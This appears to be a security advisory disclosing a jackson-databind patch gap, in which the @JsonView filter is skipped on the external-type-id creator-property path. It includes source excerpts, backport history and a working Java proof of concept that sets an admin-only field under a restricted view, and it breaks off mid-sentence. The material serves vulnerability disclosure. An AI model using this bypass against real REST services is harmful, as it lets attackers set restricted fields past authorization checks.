| Package | Affected versions | Patched versions |
|---|---|---|
| com.fasterxml.jackson.core:jackson-databind | ≥ 2.18.0, < 2.18.9≥ 2.21.0, < 2.21.5 | 2.18.92.21.5 |
In BeanDeserializer.deserializeUsingPropertyBasedWithExternalTypeId, the active-view (@JsonView) filter was applied only to the regular bean-property branch; the creator-property branch performed no creatorProp.visibleInView(activeView) check. A constructor parameter annotated with both @JsonView(RestrictedView.class) and @JsonTypeInfo(use=Id.NAME, include=As.EXTERNAL_PROPERTY) is populated from attacker JSON even when a more restrictive view is active.
This is a patch gap. GHSA-5hh8 (CVE-2026-54517) and GHSA-rcqc (CVE-2026-54518) descriptions cover only the main property-based path and the unwrapped-creator path respectively; the external-type-id creator path was fixed on the 3.x line via #6004 ("Extend #5969/#5971 fixes to ... external-type-id case in regular BeanDeserializer", commit 7dc7a17, 2026-05-22) but
the fix was never backported to 2.21 or 2.18. Users on 2.21.4 and 2.18.8 who upgraded per the published advisories remain vulnerable to the same @JsonView bypass technique via a different code path.
File: com/fasterxml/jackson/databind/deser/BeanDeserializer.java
Method: deserializeUsingPropertyBasedWithExternalTypeId
On 2.21.4 (and 2.18.8), the creator-property branch (around line 1125-1158) checks creatorProp.isInjectionOnly() and hands off to ext.handlePropertyValue(...) / buffer.assignParameter(...) without ever consulting visibleInView(activeView):
if (creatorProp != null) {
// [databind#1381]: if useInput=FALSE, skip deserialization from input
if (creatorProp.isInjectionOnly()) { ... }
// NO visibleInView(activeView) CHECK HERE
if (!ext.handlePropertyValue(p, ctxt, propName, null)) {
if (buffer.assignParameter(creatorProp, ...)) { ... }
}
continue;
}
On 3.1.4, the same branch contains the additional guard (commit 7dc7a17):
if (creatorProp != null) {
// [databind#5971]: must honor active view here too
if ((activeView != null) && !creatorProp.visibleInView(activeView)) {
p.skipChildren();
continue;
}
...
}
The 2.21 and 2.18 backport PRs (#6005 and #6003) only backported the main-path fixes from #5969/#5971; the external-type-id fix from #6004 was not backported. The maintainer closed #6005 with "got changes merged forward, looks like it's all covered now", but the forward-merge did not include the ExtTypeId creator branch.
Proof of Concept
Compiles and runs against jackson-databind 2.21.4:
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Scan my site free import com.fasterxml.jackson.annotation.*;
import com.fasterxml.jackson.databind.ObjectMapper;
public class JsonViewExternalTypeIdBypass {
public static class PublicView {}
public static class AdminView extends PublicView {}
public static abstract class Asset { public String name; }
public static class PublicAsset extends Asset {}
public static class AdminAsset extends Asset { public String secret; }
public static class Container {
@JsonTypeInfo(use = JsonTypeInfo.Id.NAME,
include = JsonTypeInfo.As.EXTERNAL_PROPERTY,
property = "kind")
@JsonSubTypes({
@JsonSubTypes.Type(value = PublicAsset.class, name = "pub"),
@JsonSubTypes.Type(value = AdminAsset.class, name = "admin")
})
@JsonView(AdminView.class)
public Asset asset;
public String label;
@JsonCreator
public Container(
@JsonProperty("label") String label,
@JsonProperty("asset") @JsonView(AdminView.class) Asset asset) {
this.label = label;
this.asset = asset;
}
}
public static class Wrapper {
@JsonView(PublicView.class)
public Container data;
}
public static void main(String[] args) throws Exception {
// Admin-only "asset" should be blocked when reading with PublicView
String json = "{\"data\":{\"label\":\"hello\",\"kind\":\"admin\","
+ "\"asset\":{\"name\":\"foo\",\"secret\":\"LEAKED\"}}}";
ObjectMapper om = new ObjectMapper();
Wrapper r = om.readerWithView(PublicView.class)
.forType(Wrapper.class)
.readValue(json);
System.out.println(r.data);
// Actual on 2.21.4: Container{label='hello', asset=AdminAsset{name='foo', secret='LEAKED'}}
// Expected (secure): Container{label='hello', asset=null}
if (r.data.asset != null && r.data.asset instanceof AdminAsset) {
System.out.println("[!!] BYPASS CONFIRMED — admin-only asset populated under PublicView");
}
}
}
A control case that removes include = As.EXTERNAL_PROPERTY (forcing the normal property-based path) correctly returns asset = null, confirming the bypass is specific to the ExternalTypeId code path and not a misconfiguration.
View-restricted (e.g. admin-only) creator properties can be populated from untrusted input where @JsonView is used as a write-side authorization boundary. Typical victims are Spring Boot REST controllers that use @JsonView(PublicView.class) on the request body to whitelist user-settable fields — an attacker can inject the restricted creator parameter (including choosing the polymorphic subtype via the sibling kind/type-id property) by combining it with a polymorphic @JsonTypeInfo(EXTERNAL_PROPERTY) annotation on the same field.
Developer code must combine (no opt-in user configuration required):